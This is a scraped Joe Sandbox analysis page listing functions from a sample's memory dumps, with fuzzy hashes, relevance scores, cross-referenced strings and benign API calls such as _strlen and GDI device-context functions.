Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab999a072ef64916eb435e26cc8e8b20919d7f077a6f5c7840cd3b38a7493152
Instruction ID: 555fb2cf8e053d78ba525045472c78cf4b0bdba296f15b2c45c3e8126ec93748
Opcode Fuzzy Hash: ab999a072ef64916eb435e26cc8e8b20919d7f077a6f5c7840cd3b38a7493152
Instruction Fuzzy Hash: 0DE06531A00348EFCB06CBA8D644F4AB7F8EB58384F2080A8E419D7290E734DE40CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00A3EE15 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bf03a80b6b828b4f8987f908fc728acc89c72ed7c85073f3afdcde0f91f687b
Instruction ID: 1a89b9eadb5a0439b6ddbe68ee8c25f68882a8915495bdade4e011bc00c88f48
Opcode Fuzzy Hash: 8bf03a80b6b828b4f8987f908fc728acc89c72ed7c85073f3afdcde0f91f687b
Instruction Fuzzy Hash: B4E08C72911228EBCB14DB88CA04D8AF3ECEB44B00F250096F501D3150C270DE00CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00A0A3F5 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b19eabbd4bfd122bb7d39f69e6d8bef66095fc44886ad87444b6aab0ba1f3f6f
Instruction ID: f1cf71524ea346af6d696650aaf80cffb1fcad7e9803818afe2aace7438e7374
Opcode Fuzzy Hash: b19eabbd4bfd122bb7d39f69e6d8bef66095fc44886ad87444b6aab0ba1f3f6f
Instruction Fuzzy Hash: 23E04636951228EBCB14DBC89A08E9AF3ACEB49B10B1100AAB901D3140C2B0DE00C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 00A0A258 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c178db992e37c0baa305ed68b8e0edb4ab0cd9491b058f43457225ba99cd763
Instruction ID: f272a56d5395203cef32e4655ec9a1257636e9d9446a2a1e5b150c101ae4af0d
Opcode Fuzzy Hash: 7c178db992e37c0baa305ed68b8e0edb4ab0cd9491b058f43457225ba99cd763
Instruction Fuzzy Hash: CFE0E275905248EFCB04DFA8D689F8EB7F8EB48758F1148A4E409D7251D274EF80DB40

Uniqueness

Uniqueness Score: -1.00%

Function 009C1532 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16a65429e7ea051dae9fa56420eff26e5d3f9e01a9f8fc41e05eedb4d46f03b0
Instruction ID: 9497e3c4c0306ad74bbbb832610039edf7283254db46628684cb890234c8a6b5
Opcode Fuzzy Hash: 16a65429e7ea051dae9fa56420eff26e5d3f9e01a9f8fc41e05eedb4d46f03b0
Instruction Fuzzy Hash: 73D06C7A645A51DFC311CF49D840A82F7B8FB99720B2644A6E915A3720D3B4B852CAE0

Uniqueness

Uniqueness Score: -1.00%

Function 00A3BC74 Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15a7fb01bb6a45523b0215cbb85ac5ed7ea4c33dcad9e1c9ded42585cac41a84
Instruction ID: 7fb78344b5a279a053d3b0672e7c265638473ecb693e15dff7d7fc66ce04c290
Opcode Fuzzy Hash: 15a7fb01bb6a45523b0215cbb85ac5ed7ea4c33dcad9e1c9ded42585cac41a84
Instruction Fuzzy Hash: 33C08C34410D004ADE398A10C2713A43367A3D9782F90289CE6120B782CB5E9D86D660

Uniqueness

Uniqueness Score: -1.00%

Function 009FAFE5 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32ea2a1c632db88dc43e34e7a90e635aeacf369b4bd6567fdeb8017180f91457
Instruction ID: ad363c1b4dec04fb83a977833b8b5eba249ec4efb875a013aaeec6a3f469183d
Opcode Fuzzy Hash: 32ea2a1c632db88dc43e34e7a90e635aeacf369b4bd6567fdeb8017180f91457
Instruction Fuzzy Hash: 98C08C7450198486CE29CD10C2727BA337CA3D27C2F88048CC7620B642CB1F9C82DB01

Uniqueness

Uniqueness Score: -1.00%

Function 00A457A9 Relevance: 28.4, APIs: 10, Strings: 6, Instructions: 402COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00A4585A
_strlen.LIBCMT ref: 00A45899
_strlen.LIBCMT ref: 00A4595B
_strlen.LIBCMT ref: 00A45997
_strlen.LIBCMT ref: 00A45A33
_strlen.LIBCMT ref: 00A45A61
_strlen.LIBCMT ref: 00A45B09
_strlen.LIBCMT ref: 00A45B45
_strlen.LIBCMT ref: 00A45B84

Strings

(`B, xrefs: 00A459CD
<`B, xrefs: 00A45A3A
|bB, xrefs: 00A45B03
$bB, xrefs: 00A45991
D`B, xrefs: 00A45A68
(`B, xrefs: 00A45B8B

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: $bB$(`B$(`B$<`B$D`B$|bB
API String ID: 4218353326-2393870609
Opcode ID: d1f69fe04c70cb7a0b95ab5c38d7ad6aa2761ebd399cda80db1e2a7908f79562
Instruction ID: f7afc00d13fba1b4f615d85434be03b322d44f1353403b7daf52428bee56d914
Opcode Fuzzy Hash: d1f69fe04c70cb7a0b95ab5c38d7ad6aa2761ebd399cda80db1e2a7908f79562
Instruction Fuzzy Hash: DFC1C332908701AFD319AB34ED4AA6FB7E5EFC4710F20491EF481861E2EFB5ED458616

Uniqueness

Uniqueness Score: -1.00%

Function 00A45C2D Relevance: 28.4, APIs: 7, Strings: 9, Instructions: 352COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00A45D40
_strlen.LIBCMT ref: 00A45D93
_strlen.LIBCMT ref: 00A45DCD
_strlen.LIBCMT ref: 00A45F21
_strlen.LIBCMT ref: 00A45F4D

Strings

d`B, xrefs: 00A45C5F
<`B, xrefs: 00A45F28
0aB, xrefs: 00A45D8B
8aB, xrefs: 00A45DC7
(aB, xrefs: 00A45D84
D`B, xrefs: 00A45F54
(aB, xrefs: 00A45D2D
0aB, xrefs: 00A45D34
D`B, xrefs: 00A45EBD

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: (aB$(aB$0aB$0aB$8aB$<`B$D`B$D`B$d`B
API String ID: 4218353326-131156065
Opcode ID: a62ed2a931d151204972e487f693825a2e5a466c7e54cacb0634607cf990ee85
Instruction ID: 63b018aac523111ef503d7d5da99c41d6b22daa61c3cd1386f3144b1d471d29e
Opcode Fuzzy Hash: a62ed2a931d151204972e487f693825a2e5a466c7e54cacb0634607cf990ee85
Instruction Fuzzy Hash: 5AB1F832A087019FD315AB74DD46A2FB7E5EFC4750F20482EF481861E2EFB5ED498616

Uniqueness

Uniqueness Score: -1.00%

Function 00A46002 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 297COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00A460C9

Part of subcall function 00A55C63: _strlen.LIBCMT ref: 00A55C77

_strlen.LIBCMT ref: 00A46108
_strlen.LIBCMT ref: 00A46147
_strlen.LIBCMT ref: 00A46209
_strlen.LIBCMT ref: 00A4622D
_strlen.LIBCMT ref: 00A46253
_strlen.LIBCMT ref: 00A462B7
_strlen.LIBCMT ref: 00A462E5

Strings

<`B, xrefs: 00A462BE
_B, xrefs: 00A460D0
$`B, xrefs: 00A46227
(`B, xrefs: 00A4624D
D`B, xrefs: 00A462EC

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: $`B$(`B$<`B$D`B$_B
API String ID: 4218353326-637121768
Opcode ID: 34c4f87b64fcd5891e0d0ae79427ff5468bca61e98a7481b5620a09199422632
Instruction ID: 727dd208637565b724407d80620f4fe038985b786568e05758b7d1536828be7c
Opcode Fuzzy Hash: 34c4f87b64fcd5891e0d0ae79427ff5468bca61e98a7481b5620a09199422632
Instruction Fuzzy Hash: 1E91A032608701AFD318EF24E946A6FB7E5EFC5310F60481EF581861A2EFB5ED49C616

Uniqueness

Uniqueness Score: -1.00%

Function 00A4B0F5 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 256COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00A4B1E7
_strlen.LIBCMT ref: 00A4B240
_strlen.LIBCMT ref: 00A4B27C

Strings

0aB, xrefs: 00A4B1DF
8aB, xrefs: 00A4B276
(aB, xrefs: 00A4B1D6
0aB, xrefs: 00A4B236
(aB, xrefs: 00A4B22F
D`B, xrefs: 00A4B2E9

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: (aB$(aB$0aB$0aB$8aB$D`B
API String ID: 4218353326-1401330706
Opcode ID: c2f79a6fd544e1854c6559204af5a7c947ad5de41151dbb6026a17d9cc28efff
Instruction ID: a09c8b81e1be4921c870396d7d583d745e5b7565b7676b946d9ad8e7cd345849
Opcode Fuzzy Hash: c2f79a6fd544e1854c6559204af5a7c947ad5de41151dbb6026a17d9cc28efff
Instruction Fuzzy Hash: 8671B532608700AFE319AF24ED4AA6FB7E5EFC4721F24091EF486950E1EF71ED458616

Uniqueness

Uniqueness Score: -1.00%

Function 009C97C7 Relevance: 13.5, APIs: 9, Instructions: 36windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 009C97D7
SetArcDirection.GDI32(00000000,00000002), ref: 009C97DE
ReleaseDC.USER32 ref: 009C97ED
GetDC.USER32(00000000), ref: 009C97F1
SetStretchBltMode.GDI32(00000000,00000004), ref: 009C97F8
ReleaseDC.USER32 ref: 009C9801
GetDC.USER32(00000000), ref: 009C9805
GetFontLanguageInfo.GDI32(00000000), ref: 009C980A
ReleaseDC.USER32 ref: 009C9813

Memory Dump Source

Source File: 00000006.00000002.252633840.00000000009C7000.00000020.00000001.01000000.0000000A.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000006.00000002.252629967.00000000009C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.00000000009C1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252633840.0000000000A27000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252649824.0000000000A29000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252660263.0000000000A68000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.252663371.0000000000A6D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID: Release$DirectionFontInfoLanguageModeStretch
String ID:
API String ID: 3198772684-0
Opcode ID: 71c9d86f818b8c309aa9db44e89696d6ec7b9bb3a185c83e7292d697e3994bc2
Instruction ID: 2c3bddaa204003d3e6927e552681b19f2995353683f7771ac4415bee982762ea
Opcode Fuzzy Hash: 71c9d86f818b8c309aa9db44e89696d6ec7b9bb3a185c83e7292d697e3994bc2
Instruction Fuzzy Hash: 63F0653265522477E260B7F35C4EFAF2EA4EF85B62F060010F71DDA1C0DB90484286B6

Uniqueness

Uniqueness Score: -1.00%

Function 00A4FCB8 Relevance: 12.6, Strings: 10, Instructions: 62COMMON

Download Yara Rule

Strings

1, xrefs: 00A4FB2C
1, xrefs: 00A4FB15
1, xrefs: 00A4FB50
1, xrefs: 00A4FB73
1, xrefs: 00A4FB65
1, xrefs: 00A4FB57
1, xrefs: 00A4FB6C
1, xrefs: 00A4FB42
1, xrefs: 00A4FB5E
1, xrefs: 00A4FB49

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: 1$1$1$1$1$1$1$1$1$1
API String ID: 0-1012384799
Opcode ID: 5c9f1fc0b0f4009d29448d1e753fc34d7a053c638b4a2472f392360c1f92e40c
Instruction ID: d8ccbe7140e1213b314b86efa1d4115a57c5abacba9421f8c9f6cd305f9afabd
Opcode Fuzzy Hash: 5c9f1fc0b0f4009d29448d1e753fc34d7a053c638b4a2472f392360c1f92e40c
Instruction Fuzzy Hash: 3121832921A3809EC325CF64D84159F77F4FF99344F80682EE48587622DBB1848ACB1B

Uniqueness

Uniqueness Score: -1.00%

Function 00A4FC98 Relevance: 12.6, Strings: 10, Instructions: 62COMMON

Download Yara Rule

Strings

1, xrefs: 00A4FB2C
1, xrefs: 00A4FB15
1, xrefs: 00A4FB50
1, xrefs: 00A4FB73
1, xrefs: 00A4FB65
1, xrefs: 00A4FB57
1, xrefs: 00A4FB6C
1, xrefs: 00A4FB42
1, xrefs: 00A4FB5E
1, xrefs: 00A4FB49

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: 1$1$1$1$1$1$1$1$1$1
API String ID: 0-1012384799
Opcode ID: ce12e025ebf213c411533ae09c4199d6bb929c351455d12e4541773417a496e2
Instruction ID: 17bf9df9685941c8e98695b236fd3d4c14065a04287fe38b40867e6014f0b140
Opcode Fuzzy Hash: ce12e025ebf213c411533ae09c4199d6bb929c351455d12e4541773417a496e2
Instruction Fuzzy Hash: B221832921A3809EC325CF64D84159F77F4FF99344F80682EE48587622DBB1848ACB1B

Uniqueness

Uniqueness Score: -1.00%

Function 00A4FC35 Relevance: 12.6, Strings: 10, Instructions: 62COMMON

Download Yara Rule

Strings

1, xrefs: 00A4FB2C
1, xrefs: 00A4FB15
1, xrefs: 00A4FB50
1, xrefs: 00A4FB73
1, xrefs: 00A4FB65
1, xrefs: 00A4FB57
1, xrefs: 00A4FB6C
1, xrefs: 00A4FB42
1, xrefs: 00A4FB5E
1, xrefs: 00A4FB49

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: 1$1$1$1$1$1$1$1$1$1
API String ID: 0-1012384799
Opcode ID: a9c7acec6340e1fc3cc5e962631ea9479a10bbae3497f5a8b91ae3a9ace1fbac
Instruction ID: ea3d14c683792d092845db246666366cb8de4087d9ac38d2725b633402ac56a4
Opcode Fuzzy Hash: a9c7acec6340e1fc3cc5e962631ea9479a10bbae3497f5a8b91ae3a9ace1fbac
Instruction Fuzzy Hash: 0121812921A3809EC325CF64D84159F77F4FF99344F80682EE88587622DBB1848ACB1B

Uniqueness

Uniqueness Score: -1.00%

Function 00A4FC12 Relevance: 12.6, Strings: 10, Instructions: 62COMMON

Download Yara Rule

Strings

1, xrefs: 00A4FB2C
1, xrefs: 00A4FB15
1, xrefs: 00A4FB50
1, xrefs: 00A4FB73
1, xrefs: 00A4FB65
1, xrefs: 00A4FB57
1, xrefs: 00A4FB6C
1, xrefs: 00A4FB42
1, xrefs: 00A4FB5E
1, xrefs: 00A4FB49

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: 1$1$1$1$1$1$1$1$1$1
API String ID: 0-1012384799
Opcode ID: a988174fb9da935b10b7a0dc7a70125b61c807e16bfb14466407851c607ac92b
Instruction ID: 9f61648905234f61358cd28f947dfb0f7a606573d1d0d2cb1b04c2bdd5f449b1
Opcode Fuzzy Hash: a988174fb9da935b10b7a0dc7a70125b61c807e16bfb14466407851c607ac92b
Instruction Fuzzy Hash: 5121812921A3809EC325CF64D84159F77F4FF99344F80682EE88587622DBB1848ACB1B

Uniqueness

Uniqueness Score: -1.00%

Function 00A4FC78 Relevance: 12.6, Strings: 10, Instructions: 62COMMON

Download Yara Rule

Strings

1, xrefs: 00A4FB2C
1, xrefs: 00A4FB15
1, xrefs: 00A4FB50
1, xrefs: 00A4FB73
1, xrefs: 00A4FB65
1, xrefs: 00A4FB57
1, xrefs: 00A4FB6C
1, xrefs: 00A4FB42
1, xrefs: 00A4FB5E
1, xrefs: 00A4FB49

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: 1$1$1$1$1$1$1$1$1$1
API String ID: 0-1012384799
Opcode ID: 2a97f90ea5a4aa1b0b194f63ead3807486756695feabc188b3c98a3a4a362600
Instruction ID: f014753fbddb0aa1abef019fdb912ba890d843b0c1e91a2893a3758c9ab3a349
Opcode Fuzzy Hash: 2a97f90ea5a4aa1b0b194f63ead3807486756695feabc188b3c98a3a4a362600
Instruction Fuzzy Hash: 7321862511A3809EC325CF64D84159F77F4FF59344F80682EE48587622DBB1848AC71B

Uniqueness

Uniqueness Score: -1.00%

Function 00A4FC58 Relevance: 12.6, Strings: 10, Instructions: 62COMMON

Download Yara Rule

Strings

1, xrefs: 00A4FB2C
1, xrefs: 00A4FB15
1, xrefs: 00A4FB50
1, xrefs: 00A4FB73
1, xrefs: 00A4FB65
1, xrefs: 00A4FB57
1, xrefs: 00A4FB6C
1, xrefs: 00A4FB42
1, xrefs: 00A4FB5E
1, xrefs: 00A4FB49

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: 1$1$1$1$1$1$1$1$1$1
API String ID: 0-1012384799
Opcode ID: 6cacc47f03e5ce114ee5e769870714ec02540b50e5c6181b2017117dec0af83d
Instruction ID: 99ae607e1051d14cd1222ae1b3f260263a4676f6ab7370725673ad834ccd28c7
Opcode Fuzzy Hash: 6cacc47f03e5ce114ee5e769870714ec02540b50e5c6181b2017117dec0af83d
Instruction Fuzzy Hash: 7C21812921A3809EC325CF64D84159F77F4FF99344F80682EE88587622DBB1848ACB1B

Uniqueness

Uniqueness Score: -1.00%

Function 00A4FBA9 Relevance: 12.6, Strings: 10, Instructions: 62COMMON

Download Yara Rule

Strings

1, xrefs: 00A4FB2C
1, xrefs: 00A4FB15
1, xrefs: 00A4FB50
1, xrefs: 00A4FB73
1, xrefs: 00A4FB65
1, xrefs: 00A4FB57
1, xrefs: 00A4FB6C
1, xrefs: 00A4FB42
1, xrefs: 00A4FB5E
1, xrefs: 00A4FB49

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: 1$1$1$1$1$1$1$1$1$1
API String ID: 0-1012384799
Opcode ID: 7fe12f8609fc17f82b9e5134f8a5b0e9c99426c186959f6c07938a55cccc61ba
Instruction ID: 03a00a477e012b611d05b80b5eb7dbfee0c93faa8123ce90a698a00205a5eddf
Opcode Fuzzy Hash: 7fe12f8609fc17f82b9e5134f8a5b0e9c99426c186959f6c07938a55cccc61ba
Instruction Fuzzy Hash: 9E21812921A3809EC325CF64D84159F77F4FF99344F80682EE88587622DBB1848ACB1B

Uniqueness

Uniqueness Score: -1.00%

Function 00A4FBEF Relevance: 12.6, Strings: 10, Instructions: 62COMMON

Download Yara Rule

Strings

1, xrefs: 00A4FB2C
1, xrefs: 00A4FB15
1, xrefs: 00A4FB50
1, xrefs: 00A4FB73
1, xrefs: 00A4FB65
1, xrefs: 00A4FB57
1, xrefs: 00A4FB6C
1, xrefs: 00A4FB42
1, xrefs: 00A4FB5E
1, xrefs: 00A4FB49

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: 1$1$1$1$1$1$1$1$1$1
API String ID: 0-1012384799
Opcode ID: 725b8bdeafbb5b48809e0d6670867cf91badf594db7967dec4d3fa954e445154
Instruction ID: c8ad828cf307ff5a0532c90c6c13f62c8d8b5048ad3ba30c0e39e6d6f5a16b9b
Opcode Fuzzy Hash: 725b8bdeafbb5b48809e0d6670867cf91badf594db7967dec4d3fa954e445154
Instruction Fuzzy Hash: 4821832921A3809EC325CF64D84159F77F4FF99344F80682EE88587622DBB1848ACB1B

Uniqueness

Uniqueness Score: -1.00%

Function 00A4FBCC Relevance: 12.6, Strings: 10, Instructions: 62COMMON

Download Yara Rule

Strings

1, xrefs: 00A4FB2C
1, xrefs: 00A4FB15
1, xrefs: 00A4FB50
1, xrefs: 00A4FB73
1, xrefs: 00A4FB65
1, xrefs: 00A4FB57
1, xrefs: 00A4FB6C
1, xrefs: 00A4FB42
1, xrefs: 00A4FB5E
1, xrefs: 00A4FB49

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: 1$1$1$1$1$1$1$1$1$1
API String ID: 0-1012384799
Opcode ID: 03bfaa998f6fdfb868483c3bc58f87ab5ee724ebbdd4ad41cf6dcea3d1c67b02
Instruction ID: a7714689e895fd9d2ee319ae411c9edbe5de4ba0c42fcf317f914b7881ff46e0
Opcode Fuzzy Hash: 03bfaa998f6fdfb868483c3bc58f87ab5ee724ebbdd4ad41cf6dcea3d1c67b02
Instruction Fuzzy Hash: 3C21812921A3809EC325CF64D84159F77F4FF99344F80682EE88587622DBB1848ACB1B

Uniqueness

Uniqueness Score: -1.00%

Function 00A4FCD8 Relevance: 12.6, Strings: 10, Instructions: 61COMMON

Download Yara Rule

Strings

1, xrefs: 00A4FB2C
1, xrefs: 00A4FB15
1, xrefs: 00A4FB50
1, xrefs: 00A4FB73
1, xrefs: 00A4FB65
1, xrefs: 00A4FB57
1, xrefs: 00A4FB6C
1, xrefs: 00A4FB42
1, xrefs: 00A4FB5E
1, xrefs: 00A4FB49

Memory Dump Source

Source File: 00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00A36000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_9c0000_b1121980.jbxd

Yara matches

Similarity

API ID:
String ID: 1$1$1$1$1$1$1$1$1$1
API String ID: 0-1012384799
Opcode ID: 80b4899318523cd7b037fb89a810a23ec96dbb29f76f0b4b972ea18a2999b220
Instruction ID: 71db4b06ce8166c06bce97aeb1cf11bec5eef7bae6b4e7baf31591b44520ea73
